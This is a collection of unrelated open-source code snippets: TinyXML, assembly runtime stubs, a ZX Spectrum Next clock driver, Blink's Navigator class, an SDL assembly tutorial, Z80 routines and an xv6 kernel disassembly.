if ( strcmp( node->name.c_str(), name ) == 0 )
return node;
}
return 0;
}
*/
#ifdef TIXML_USE_STL
std::istream& operator>> (std::istream & in, TiXmlNode & base)
{
TIXML_STRING tag;
tag.reserve( 8 * 1000 );
base.StreamIn( &in, &tag );
base.Parse( tag.c_str(), 0, TIXML_DEFAULT_ENCODING );
return in;
}
#endif
#ifdef TIXML_USE_STL
std::ostream& operator<< (std::ostream & out, const TiXmlNode & base)
{
TiXmlPrinter printer;
printer.SetStreamPrinting();
base.Accept( &printer );
out << printer.Str();
return out;
}
std::string& operator<< (std::string& out, const TiXmlNode& base )
{
TiXmlPrinter printer;
printer.SetStreamPrinting();
base.Accept( &printer );
out.append( printer.Str() );
return out;
}
#endif
TiXmlHandle TiXmlHandle::FirstChild() const
{
if ( node )
{
TiXmlNode* child = node->FirstChild();
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::FirstChild( const char * value ) const
{
if ( node )
{
TiXmlNode* child = node->FirstChild( value );
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::FirstChildElement() const
{
if ( node )
{
TiXmlElement* child = node->FirstChildElement();
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::FirstChildElement( const char * value ) const
{
if ( node )
{
TiXmlElement* child = node->FirstChildElement( value );
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::Child( int count ) const
{
if ( node )
{
int i;
TiXmlNode* child = node->FirstChild();
for ( i=0;
child && i<count;
child = child->NextSibling(), ++i )
{
// nothing
}
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::Child( const char* value, int count ) const
{
if ( node )
{
int i;
TiXmlNode* child = node->FirstChild( value );
for ( i=0;
child && i<count;
child = child->NextSibling( value ), ++i )
{
// nothing
}
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::ChildElement( int count ) const
{
if ( node )
{
int i;
TiXmlElement* child = node->FirstChildElement();
for ( i=0;
child && i<count;
child = child->NextSiblingElement(), ++i )
{
// nothing
}
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
TiXmlHandle TiXmlHandle::ChildElement( const char* value, int count ) const
{
if ( node )
{
int i;
TiXmlElement* child = node->FirstChildElement( value );
for ( i=0;
child && i<count;
child = child->NextSiblingElement( value ), ++i )
{
// nothing
}
if ( child )
return TiXmlHandle( child );
}
return TiXmlHandle( 0 );
}
bool TiXmlPrinter::VisitEnter( const TiXmlDocument& )
{
return true;
}
bool TiXmlPrinter::VisitExit( const TiXmlDocument& )
{
return true;
}
bool TiXmlPrinter::VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute )
{
DoIndent();
buffer += "<";
buffer += element.Value();
for( const TiXmlAttribute* attrib = firstAttribute; attrib; attrib = attrib->Next() )
{
buffer += " ";
attrib->Print( 0, 0, &buffer );
}
if ( !element.FirstChild() )
{
buffer += " />";
DoLineBreak();
}
else
{
buffer += ">";
if ( element.FirstChild()->ToText()
&& element.LastChild() == element.FirstChild()
&& element.FirstChild()->ToText()->CDATA() == false )
{
simpleTextPrint = true;
// no DoLineBreak()!
}
else
{
DoLineBreak();
}
}
++depth;
return true;
}
bool TiXmlPrinter::VisitExit( const TiXmlElement& element )
{
--depth;
if ( !element.FirstChild() )
{
// nothing.
}
else
{
if ( simpleTextPrint )
{
simpleTextPrint = false;
}
else
{
DoIndent();
}
buffer += "</";
buffer += element.Value();
buffer += ">";
DoLineBreak();
}
return true;
}
bool TiXmlPrinter::Visit( const TiXmlText& text )
{
if ( text.CDATA() )
{
DoIndent();
buffer += "<![CDATA[";
buffer += text.Value();
buffer += "]]>";
DoLineBreak();
}
else if ( simpleTextPrint )
{
TIXML_STRING str;
TiXmlBase::EncodeString( text.ValueTStr(), &str );
buffer += str;
}
else
{
DoIndent();
TIXML_STRING str;
TiXmlBase::EncodeString( text.ValueTStr(), &str );
buffer += str;
DoLineBreak();
}
return true;
}
bool TiXmlPrinter::Visit( const TiXmlDeclaration& declaration )
{
DoIndent();
declaration.Print( 0, 0, &buffer );
DoLineBreak();
return true;
}
bool TiXmlPrinter::Visit( const TiXmlComment& comment )
{
DoIndent();
buffer += "<!--";
buffer += comment.Value();
buffer += "-->";
DoLineBreak();
return true;
}
bool TiXmlPrinter::Visit( const TiXmlUnknown& unknown )
{
DoIndent();
buffer += "<";
buffer += unknown.Value();
buffer += ">";
DoLineBreak();
return true;
}
|
section .text
extern gc.alloc_
global gc.alloc
gc.alloc:
lea rdx, [rsp-8] ; Pass stack pointer as 3rd arg (-8 so we point to the base pointer)
jmp gc.alloc_ ; Tail call
extern gc.gc_
global gc.gc
gc.gc:
lea rdi, [rsp-8] ; Pass stack pointer as 1st arg (-8 so we point to the base pointer)
jmp gc.gc_ ; Tail call
global sys.brk
sys.brk:
mov rax, 12 ; SYS_BRK
syscall
ret
global sys.write
sys.write:
mov rax, 1 ; SYS_WRITE
syscall
ret
global sys.abort
sys.abort:
mov rax, 39 ; SYS_GETPID
syscall
mov rdi, rax
mov rsi, 6 ; SIGABRT
mov rax, 62 ; SYS_KILL
syscall
ret
|
; main.asm
; Copyright 2019-2020 Robin Verhagen-Guest
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
; Assembles with Next version of Zeus
zeusemulate "Next", "RAW", "NOROM" ; from http://www.desdes.com/products/oldfiles/zeustest.exe
zxnextmap -1,DotBank1,-1,-1,-1,-1,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000
zoSupportStringEscapes = true;
optionsize 5
CSpect optionbool 15, -15, "CSpect", false ; Option in Zeus GUI to launch CSpect
org $2700 ; RTC.SYS always starts at $2700
Start proc
nextreg 0, $12 ; Write first magic value to read-only register
nextreg 14, $34 ; Write second magic value to read-only register
ld bc, $243B
call ReadReg ; Read date LSB
ld l, a ; into L register
call ReadReg ; Read date MSB
ld h, a ; into H register
push hl ; Save date on stack
call ReadReg ; Read time LSB
ld e, a ; into E register
call ReadReg ; Read time MSB
ld d, a ; into D register
call ReadReg ; Read whole seconds
ld h, a ; into H register
ld l, $FF ; Signal no milliseconds
pop bc ; Restore date from stack
ccf ; Signal success
ret ; Return from RTC.SYS
pend
ReadReg proc
ld a, $7F
out (c), a
inc b
in a, (c)
dec b
ret
pend
include "constants.asm" ; Global constants
include "macros.asm" ; Zeus macros
Length equ $-Start
zeusprinthex "Command size: ", Length
zeusassert zeusver>=75, "Upgrade to Zeus v4.00 (TEST ONLY) or above, available at http://www.desdes.com/products/oldfiles/zeustest.exe"
if (Length > $2000)
zeuserror "DOT command is too large to assemble!"
endif
output_bin "..\\bin\\RTC.SYS", zeusmmu(DotBank1)+$700, Length
if enabled CSpect
zeusinvoke "..\\build\\cspect.bat", "", false
else
//zeusinvoke "..\\..\\build\\builddot.bat"
endif
|
/*
* Copyright (C) 2000 Harri Porten (porten@kde.org)
* Copyright (c) 2000 Daniel Molkentin (molkentin@kde.org)
* Copyright (c) 2000 Stefan Schimanski (schimmi@kde.org)
* Copyright (C) 2003, 2004, 2005, 2006 Apple Computer, Inc.
* Copyright (C) 2008 Nokia Corporation and/or its subsidiary(-ies)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include "config.h"
#include "core/frame/Navigator.h"
#include "bindings/v8/ScriptController.h"
#include "core/dom/Document.h"
#include "core/frame/FrameHost.h"
#include "core/frame/LocalFrame.h"
#include "core/frame/NavigatorID.h"
#include "core/frame/Settings.h"
#include "core/loader/CookieJar.h"
#include "core/loader/FrameLoader.h"
#include "core/page/Chrome.h"
#include "core/page/ChromeClient.h"
#include "core/plugins/DOMMimeTypeArray.h"
#include "core/plugins/DOMPluginArray.h"
#include "platform/Language.h"
#ifndef WEBCORE_NAVIGATOR_PRODUCT_SUB
#define WEBCORE_NAVIGATOR_PRODUCT_SUB "20030107"
#endif // ifndef WEBCORE_NAVIGATOR_PRODUCT_SUB
#ifndef WEBCORE_NAVIGATOR_VENDOR
#define WEBCORE_NAVIGATOR_VENDOR "Google Inc."
#endif // ifndef WEBCORE_NAVIGATOR_VENDOR
#ifndef WEBCORE_NAVIGATOR_VENDOR_SUB
#define WEBCORE_NAVIGATOR_VENDOR_SUB ""
#endif // ifndef WEBCORE_NAVIGATOR_VENDOR_SUB
namespace WebCore {
Navigator::Navigator(LocalFrame* frame)
: DOMWindowProperty(frame)
{
ScriptWrappable::init(this);
}
Navigator::~Navigator()
{
}
String Navigator::productSub() const
{
return WEBCORE_NAVIGATOR_PRODUCT_SUB;
}
String Navigator::vendor() const
{
return WEBCORE_NAVIGATOR_VENDOR;
}
String Navigator::vendorSub() const
{
return WEBCORE_NAVIGATOR_VENDOR_SUB;
}
String Navigator::userAgent() const
{
// If the frame is already detached it no longer has a meaningful useragent.
if (!m_frame || !m_frame->page())
return String();
return m_frame->loader().userAgent(m_frame->document()->url());
}
DOMPluginArray* Navigator::plugins() const
{
if (!m_plugins)
m_plugins = DOMPluginArray::create(m_frame);
return m_plugins.get();
}
DOMMimeTypeArray* Navigator::mimeTypes() const
{
if (!m_mimeTypes)
m_mimeTypes = DOMMimeTypeArray::create(m_frame);
return m_mimeTypes.get();
}
bool Navigator::cookieEnabled() const
{
if (!m_frame)
return false;
Settings* settings = m_frame->settings();
if (!settings || !settings->cookieEnabled())
return false;
return cookiesEnabled(m_frame->document());
}
bool Navigator::javaEnabled() const
{
if (!m_frame || !m_frame->settings())
return false;
if (!m_frame->settings()->javaEnabled())
return false;
return true;
}
void Navigator::getStorageUpdates()
{
// FIXME: Remove this method or rename to yieldForStorageUpdates.
}
Vector<String> Navigator::languages()
{
Vector<String> languages;
if (!m_frame || !m_frame->host()) {
languages.append(defaultLanguage());
return languages;
}
String acceptLanguages = m_frame->host()->chrome().client().acceptLanguages();
acceptLanguages.split(",", languages);
// Sanitizing tokens. We could do that more extensively but we should assume
// that the accept languages are already sane and support BCP47. It is
// likely a waste of time to make sure the tokens matches that spec here.
for (size_t i = 0; i < languages.size(); ++i) {
String& token = languages[i];
token = token.stripWhiteSpace();
if (token.length() >= 3 && token[2] == '_')
token.replace(2, 1, "-");
}
return languages;
}
void Navigator::trace(Visitor* visitor)
{
visitor->trace(m_plugins);
visitor->trace(m_mimeTypes);
WillBeHeapSupplementable<Navigator>::trace(visitor);
}
} // namespace WebCore
|
; ML64 template file
; Compile: uasm64.exe -nologo -win64 -Zd -Zi -c testUasm.asm
; Link: link /nologo /debug /subsystem:console /entry:main testUasm.obj user32.lib kernel32.lib
OPTION WIN64:8
; Include libraries
includelib SDL2.lib
includelib SDL2main.lib
includelib SDL2_image.lib
includelib SDL2_ttf.lib
includelib SDL2_mixer.lib
; Include files
include main.inc
include SDL.inc
include SDL_image.inc
include SDL_ttf.inc
include SDL_mixer.inc
; include Code files
include LTexture.asm
include LButton.asm
Init proto
Shutdown proto
LoadMedia proto
LoadTexture proto :QWORD
.const
SCREEN_WIDTH = 640
SCREEN_HEIGHT = 480
; Values to rotate the sprite
WINDOW_TITLE BYTE "SDL Tutorial",0
FILE_ATTRS BYTE "rb"
IMAGE_PROMPT BYTE "Res/prompt.png",0
; Audios
MUSIC_BEAT BYTE "Res/beat.wav",0
MUSIC_SCRATCH BYTE "Res/scratch.wav",0
MUSIC_HIGH BYTE "Res/high.wav",0
MUSIC_MEDIUM BYTE "Res/medium.wav",0
MUSIC_LOW BYTE "Res/low.wav",0
.data
quit BYTE 0
.data?
pWindow QWORD ?
eventHandler SDL_Event <>
gRenderer QWORD ?
currentTexture QWORD ?
gPromptTexture LTexture <>
; Audios
gMusic QWORD ?
gScratch QWORD ?
gHigh QWORD ?
gMedium QWORD ?
gLow QWORD ?
.code
main proc
local i:dword
local poll:qword
; Alloc our memory for our objects, starts SDL, ...
invoke Init
.if rax==0
invoke ExitProcess, EXIT_FAILURE
.endif
invoke LoadMedia
; Gameloop
.while quit!=1
invoke SDL_PollEvent, addr eventHandler
.while rax!=0
.if eventHandler.type_ == SDL_EVENTQUIT
mov quit, 1
.elseif eventHandler.type_ == SDL_KEYDOWN
.if eventHandler.key.keysym.sym == SDLK_1
invoke Mix_PlayChannelTimed, -1, gHigh, 0, -1
.elseif eventHandler.key.keysym.sym == SDLK_2
invoke Mix_PlayChannelTimed, -1, gMedium, 0, -1
.elseif eventHandler.key.keysym.sym == SDLK_3
invoke Mix_PlayChannelTimed, -1, gLow, 0, -1
.elseif eventHandler.key.keysym.sym == SDLK_4
invoke Mix_PlayChannelTimed, -1, gScratch, 0, -1
.elseif eventHandler.key.keysym.sym == SDLK_9
invoke Mix_PlayingMusic
.if rax==0
invoke Mix_PlayMusic, gMusic, -1
.else
invoke Mix_PauseMusic
.if rax==1
invoke Mix_ResumeMusic
.else
invoke Mix_PauseMusic
.endif
.endif
.elseif eventHandler.key.keysym.sym == SDLK_0
invoke Mix_HaltMusic
.endif
.endif
invoke SDL_PollEvent, addr eventHandler
.endw
; Clear screen
invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFh, 0FFh, 0FFh
invoke SDL_RenderClear, gRenderer
; Render texture
invoke renderTexture, gRenderer, addr gPromptTexture, 0, 0, 0, 0, 0, 0
; Update the window
invoke SDL_RenderPresent,gRenderer
.endw
invoke SDL_DestroyWindow, pWindow
; Clean our allocated memory, shutdown SDL, ...
invoke Shutdown
invoke ExitProcess, EXIT_SUCCESS
ret
main endp
Init proc
finit ; Starts the FPU
invoke SDL_Init, SDL_INIT_VIDEO OR SDL_INIT_AUDIO
.if rax<0
xor rax, rax
jmp EXIT
.endif
invoke SDL_CreateWindow,
addr WINDOW_TITLE,
SDL_WINDOWPOS_UNDEFINED,
SDL_WINDOWPOS_UNDEFINED,
SCREEN_WIDTH,
SCREEN_HEIGHT,
SDL_WINDOW_SHOWN
.if rax==0
jmp EXIT
.endif
mov pWindow, rax
; Create the renderer
invoke SDL_CreateRenderer, rax, -1, SDL_RENDERER_ACCELERATED OR SDL_RENDERER_PRESENTVSYNC
.if rax==0
jmp EXIT
.endif
mov gRenderer, rax
; Initialize renderer color
invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFH, 0FFH, 0FFH
; Init PNG image format
invoke IMG_Init, IMG_INIT_PNG
and rax, IMG_INIT_PNG
.if rax!=IMG_INIT_PNG
xor rax, rax
jmp EXIT
.endif
; Init Font module
invoke TTF_Init
.if rax==-1
xor rax, rax
jmp EXIT
.endif
; Init Mixer module
invoke Mix_OpenAudio, 44100, MIX_DEFAULT_FORMAT, 2, 2048
.if rax<0
xor rax, rax
jmp EXIT
.endif
mov rax, 1
EXIT:
ret
Init endp
Shutdown proc
invoke freeTexture, addr gPromptTexture
invoke Mix_FreeChunk, gScratch
invoke Mix_FreeChunk, gHigh
invoke Mix_FreeChunk, gMedium
invoke Mix_FreeChunk, gLow
invoke Mix_FreeMusic, gMusic
invoke SDL_DestroyRenderer, gRenderer
invoke SDL_DestroyWindow, pWindow
invoke TTF_Quit
invoke IMG_Quit
invoke SDL_Quit
ret
Shutdown endp
LoadMedia PROC
LOCAL success:BYTE
mov success, 1
invoke loadTextureFromFile, gRenderer, addr gPromptTexture, addr IMAGE_PROMPT
.if eax==0
jmp EXIT
.endif
invoke Mix_LoadMUS, addr MUSIC_BEAT
.if rax==0
jmp EXIT
.endif
mov gMusic, rax
invoke SDL_RWFromFile, addr MUSIC_SCRATCH, addr FILE_ATTRS
invoke Mix_LoadWAV_RW, rax, 1
.if rax==0
jmp EXIT
.endif
mov gScratch, rax
invoke SDL_RWFromFile, addr MUSIC_HIGH, addr FILE_ATTRS
invoke Mix_LoadWAV_RW, rax, 1
.if rax==0
jmp EXIT
.endif
mov gHigh, rax
invoke SDL_RWFromFile, addr MUSIC_MEDIUM, addr FILE_ATTRS
invoke Mix_LoadWAV_RW, rax, 1
.if rax==0
jmp EXIT
.endif
mov gMedium, rax
invoke SDL_RWFromFile, addr MUSIC_LOW, addr FILE_ATTRS
invoke Mix_LoadWAV_RW, rax, 1
.if rax==0
jmp EXIT
.endif
mov gLow, rax
EXIT:
ret
LoadMedia endp
LoadTexture PROC pFile:QWORD
LOCAL loadedSurface:QWORD
LOCAL newTexture:QWORD
invoke IMG_Load, pFile
.if rax==0
jmp ERROR
.endif
mov loadedSurface, rax
invoke SDL_CreateTextureFromSurface, gRenderer, rax
.if rax==0
jmp ERROR
.endif
mov newTexture, rax
invoke SDL_FreeSurface, loadedSurface
mov rax, newTexture
ERROR:
ret
LoadTexture endp
END
; vim options: ts=2 sw=2
|
;@DOES copies the back buffer to the lcd
;@DESTROYS HL,DE,BC
gfx_BlitBuffer:
ld hl,LCD_BUFFER
ld de,LCD_VRAM
ld bc,LCD_WIDTH * LCD_HEIGHT
ldir
ret
|
; void __CALLEE__ *im2_CreateGenericISR_callee(uchar numhooks, void *addr)
; 04.2004 aralbrec
PUBLIC im2_CreateGenericISR_callee
PUBLIC ASMDISP_IM2_CREATEGENERICISR_CALLEE
EXTERN IM2CreateCommon
.im2_CreateGenericISR_callee
pop hl
pop de
pop bc
push hl
ld a,c
.asmentry
; enter: a = maximum number of hooks
; de = RAM address to copy ISR to
; exit : hl = address just past ISR
; uses : af, bc, de, hl
.IM2CreateGenericISR
ld hl,GenericISR
jp IM2CreateCommon
.GenericISR
call pushreg
.position
ld bc,runhooks-position
add hl,bc
call runhooks
jp popreg
.runhooks
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,d
or e
ret z
push hl
ex de,hl
call JPHL
pop hl
ret c
jp runhooks
.popreg
pop iy
pop ix
pop hl
pop de
pop bc
pop af
exx
ex af,af'
pop de
pop bc
pop af
pop hl
ei
reti
.pushreg
ex (sp),hl
push af
push bc
push de
exx
ex af,af'
push af
push bc
push de
push hl
push ix
push iy
exx
.JPHL
jp (hl)
DEFC ASMDISP_IM2_CREATEGENERICISR_CALLEE = # asmentry - im2_CreateGenericISR_callee
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 b0 10 00 mov $0x10b000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc 70 d6 10 80 mov $0x8010d670,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 57 37 10 80 mov $0x80103757,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100034: 55 push %ebp
80100035: 89 e5 mov %esp,%ebp
80100037: 83 ec 28 sub $0x28,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
8010003a: c7 44 24 04 3c 8a 10 movl $0x80108a3c,0x4(%esp)
80100041: 80
80100042: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
80100049: e8 a0 52 00 00 call 801052ee <initlock>
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
8010004e: c7 05 90 15 11 80 84 movl $0x80111584,0x80111590
80100055: 15 11 80
bcache.head.next = &bcache.head;
80100058: c7 05 94 15 11 80 84 movl $0x80111584,0x80111594
8010005f: 15 11 80
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100062: c7 45 f4 b4 d6 10 80 movl $0x8010d6b4,-0xc(%ebp)
80100069: eb 3a jmp 801000a5 <binit+0x71>
b->next = bcache.head.next;
8010006b: 8b 15 94 15 11 80 mov 0x80111594,%edx
80100071: 8b 45 f4 mov -0xc(%ebp),%eax
80100074: 89 50 10 mov %edx,0x10(%eax)
b->prev = &bcache.head;
80100077: 8b 45 f4 mov -0xc(%ebp),%eax
8010007a: c7 40 0c 84 15 11 80 movl $0x80111584,0xc(%eax)
b->dev = -1;
80100081: 8b 45 f4 mov -0xc(%ebp),%eax
80100084: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax)
bcache.head.next->prev = b;
8010008b: a1 94 15 11 80 mov 0x80111594,%eax
80100090: 8b 55 f4 mov -0xc(%ebp),%edx
80100093: 89 50 0c mov %edx,0xc(%eax)
bcache.head.next = b;
80100096: 8b 45 f4 mov -0xc(%ebp),%eax
80100099: a3 94 15 11 80 mov %eax,0x80111594
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
8010009e: 81 45 f4 18 02 00 00 addl $0x218,-0xc(%ebp)
801000a5: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp)
801000ac: 72 bd jb 8010006b <binit+0x37>
b->prev = &bcache.head;
b->dev = -1;
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000ae: c9 leave
801000af: c3 ret
801000b0 <bget>:
// Look through buffer cache for sector on device dev.
// If not found, allocate a buffer.
// In either case, return B_BUSY buffer.
static struct buf*
bget(uint dev, uint sector)
{
801000b0: 55 push %ebp
801000b1: 89 e5 mov %esp,%ebp
801000b3: 83 ec 28 sub $0x28,%esp
struct buf *b;
acquire(&bcache.lock);
801000b6: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
801000bd: e8 4d 52 00 00 call 8010530f <acquire>
loop:
// Is the sector already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000c2: a1 94 15 11 80 mov 0x80111594,%eax
801000c7: 89 45 f4 mov %eax,-0xc(%ebp)
801000ca: eb 63 jmp 8010012f <bget+0x7f>
if(b->dev == dev && b->sector == sector){
801000cc: 8b 45 f4 mov -0xc(%ebp),%eax
801000cf: 8b 40 04 mov 0x4(%eax),%eax
801000d2: 3b 45 08 cmp 0x8(%ebp),%eax
801000d5: 75 4f jne 80100126 <bget+0x76>
801000d7: 8b 45 f4 mov -0xc(%ebp),%eax
801000da: 8b 40 08 mov 0x8(%eax),%eax
801000dd: 3b 45 0c cmp 0xc(%ebp),%eax
801000e0: 75 44 jne 80100126 <bget+0x76>
if(!(b->flags & B_BUSY)){
801000e2: 8b 45 f4 mov -0xc(%ebp),%eax
801000e5: 8b 00 mov (%eax),%eax
801000e7: 83 e0 01 and $0x1,%eax
801000ea: 85 c0 test %eax,%eax
801000ec: 75 23 jne 80100111 <bget+0x61>
b->flags |= B_BUSY;
801000ee: 8b 45 f4 mov -0xc(%ebp),%eax
801000f1: 8b 00 mov (%eax),%eax
801000f3: 89 c2 mov %eax,%edx
801000f5: 83 ca 01 or $0x1,%edx
801000f8: 8b 45 f4 mov -0xc(%ebp),%eax
801000fb: 89 10 mov %edx,(%eax)
release(&bcache.lock);
801000fd: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
80100104: e8 68 52 00 00 call 80105371 <release>
return b;
80100109: 8b 45 f4 mov -0xc(%ebp),%eax
8010010c: e9 93 00 00 00 jmp 801001a4 <bget+0xf4>
}
sleep(b, &bcache.lock);
80100111: c7 44 24 04 80 d6 10 movl $0x8010d680,0x4(%esp)
80100118: 80
80100119: 8b 45 f4 mov -0xc(%ebp),%eax
8010011c: 89 04 24 mov %eax,(%esp)
8010011f: e8 03 4f 00 00 call 80105027 <sleep>
goto loop;
80100124: eb 9c jmp 801000c2 <bget+0x12>
acquire(&bcache.lock);
loop:
// Is the sector already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
80100126: 8b 45 f4 mov -0xc(%ebp),%eax
80100129: 8b 40 10 mov 0x10(%eax),%eax
8010012c: 89 45 f4 mov %eax,-0xc(%ebp)
8010012f: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp)
80100136: 75 94 jne 801000cc <bget+0x1c>
}
// Not cached; recycle some non-busy and clean buffer.
// "clean" because B_DIRTY and !B_BUSY means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100138: a1 90 15 11 80 mov 0x80111590,%eax
8010013d: 89 45 f4 mov %eax,-0xc(%ebp)
80100140: eb 4d jmp 8010018f <bget+0xdf>
if((b->flags & B_BUSY) == 0 && (b->flags & B_DIRTY) == 0){
80100142: 8b 45 f4 mov -0xc(%ebp),%eax
80100145: 8b 00 mov (%eax),%eax
80100147: 83 e0 01 and $0x1,%eax
8010014a: 85 c0 test %eax,%eax
8010014c: 75 38 jne 80100186 <bget+0xd6>
8010014e: 8b 45 f4 mov -0xc(%ebp),%eax
80100151: 8b 00 mov (%eax),%eax
80100153: 83 e0 04 and $0x4,%eax
80100156: 85 c0 test %eax,%eax
80100158: 75 2c jne 80100186 <bget+0xd6>
b->dev = dev;
8010015a: 8b 45 f4 mov -0xc(%ebp),%eax
8010015d: 8b 55 08 mov 0x8(%ebp),%edx
80100160: 89 50 04 mov %edx,0x4(%eax)
b->sector = sector;
80100163: 8b 45 f4 mov -0xc(%ebp),%eax
80100166: 8b 55 0c mov 0xc(%ebp),%edx
80100169: 89 50 08 mov %edx,0x8(%eax)
b->flags = B_BUSY;
8010016c: 8b 45 f4 mov -0xc(%ebp),%eax
8010016f: c7 00 01 00 00 00 movl $0x1,(%eax)
release(&bcache.lock);
80100175: c7 04 24 80 d6 10 80 movl $0x8010d680,(%esp)
8010017c: e8 f0 51 00 00 call 80105371 <release>
return b;
80100181: 8b 45 f4 mov -0xc(%ebp),%eax
80100184: eb 1e jmp 801001a4 <bget+0xf4>
}
// Not cached; recycle some non-busy and clean buffer.
// "clean" because B_DIRTY and !B_BUSY means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100186: 8b 45 f4 mov -0xc(%ebp),%eax
80100189: 8b 40 0c mov 0xc(%eax),%eax
8010018c: 89 45 f4 mov %eax,-0xc(%ebp)
8010018f: 81 7d f4 84 15 11 80 cmpl $0x80111584,-0xc(%ebp)
80100196: 75 aa jne 80100142 <bget+0x92>
b->flags = B_BUSY;
release(&bcache.lock);
return b;
}
}
panic("bget: no buffers");
80100198: c7 04 24 43 8a 10 80 movl $0x80108a43,(%esp)
8010019f: e8 99 03 00 00 call 8010053d <panic>
}
801001a4: c9 leave
801001a5: c3 ret
801001a6 <bread>:
// Return a B_BUSY buf with the contents of the indicated disk sector.
struct buf*
bread(uint dev, uint sector)
{
801001a6: 55 push %ebp
801001a7: 89 e5 mov %esp,%ebp
801001a9: 83 ec 28 sub $0x28,%esp
struct buf *b;
b = bget(dev, sector);
801001ac: 8b 45 0c mov 0xc(%ebp),%eax
801001af: 89 44 24 04 mov %eax,0x4(%esp)
801001b3: 8b 45 08 mov 0x8(%ebp),%eax
801001b6: 89 04 24 mov %eax,(%esp)
801001b9: e8 f2 fe ff ff call 801000b0 <bget>
801001be: 89 45 f4 mov %eax,-0xc(%ebp)
if(!(b->flags & B_VALID))
801001c1: 8b 45 f4 mov -0xc(%ebp),%eax
801001c4: 8b 00 mov (%eax),%eax
801001c6: 83 e0 02 and $0x2,%eax
801001c9: 85 c0 test %eax,%eax
801001cb: 75 0b jne 801001d8 <bread+0x32>
iderw(b);
801001cd: 8b 45 f4 mov -0xc(%ebp),%eax
801001d0: 89 04 24 mov %eax,(%esp)
801001d3: e8 e8 25 00 00 call 801027c0 <iderw>
return b;
801001d8: 8b 45 f4 mov -0xc(%ebp),%eax
}
801001db: c9 leave
801001dc: c3 ret
801001dd <bwrite>:
// Write b's contents to disk. Must be B_BUSY.
void
bwrite(struct buf *b)
{
801001dd: 55 push %ebp
801001de: 89 e5 mov %esp,%ebp
801001e0: 83 ec 18 sub $0x18,%esp
if((b->flags & B_BUSY) == 0)
801001e3: 8b 45 08 mov 0x8(%ebp),%eax
801001e6: 8b 00 mov (%eax),%eax
801001e8: 83 e0 01 and $0x1,%eax
801001eb: 85 c0 test %eax,%eax
801001ed: 75 0c jne 801001fb <bwrite+0x1e>
panic("bwrite");
801001ef: c7 04 24 54 8a 10 80 movl $0x80108a54,(%esp)
801001f6: e8 42 03 00 00 call 8010053d <panic>
